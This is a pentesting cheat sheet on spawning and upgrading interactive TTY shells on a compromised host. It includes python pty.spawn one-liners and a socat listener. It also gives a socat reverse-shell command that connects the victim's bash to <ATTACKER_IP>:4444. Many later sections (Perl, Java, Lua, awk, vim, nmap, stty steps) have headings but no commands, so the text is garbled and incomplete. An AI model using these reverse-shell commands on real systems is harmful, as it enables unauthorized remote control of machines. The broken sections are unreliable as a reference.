Spawn TTY Shells

🔧 Python Methods

python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

You can also use:

python -c 'import os; os.system("/bin/bash")'

🐍 Socat Methods (from attacker and victim)

On attacker (listener):

socat file:`tty`,raw,echo=0 tcp-listen:4444

On victim (reverse shell):

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:4444

🦀 Script Method (if available on the system)

script /dev/null -c bash

🧠 Regaining Full Terminal Control

  1. Suspend with Ctrl + Z

  2. On the attacker host:

📦 Ensuring Terminal Configuration

🖼 Adjusting Window Size (prevents errors when using programs like nano, htop, etc.)

  1. On the attacker host:

  1. On the remote shell:

📟 /dev/tcp and Bash Method (interactive reverse shell)

Once connected, you can upgrade the shell with stty (explained below).

🐚 Shell Upgrade with System Commands (stty and export)

Once you use any of the above methods (like python -c 'pty.spawn(...)'), you can further improve it with:

Then, type:

🧬 With Perl

Or with pseudo-terminal:

☕ With Java

If Runtime.exec() is accessible:

(Generally not very useful manually, but useful in Java app exploitation).

🦥 With Lua

🧱 With Awk

🧪 With Tcl

🧞‍♂️ With vi or vim (command mode)

Or:

🖋️ With nmap (if it has scripting with --interactive)

💾 With Docker / Chroot / chsh if you have permissions

Or if you can change your shell:

🧠 Useful Tips

If you have a shell without colors or history, export:

To check if a TTY is assigned:

Last updated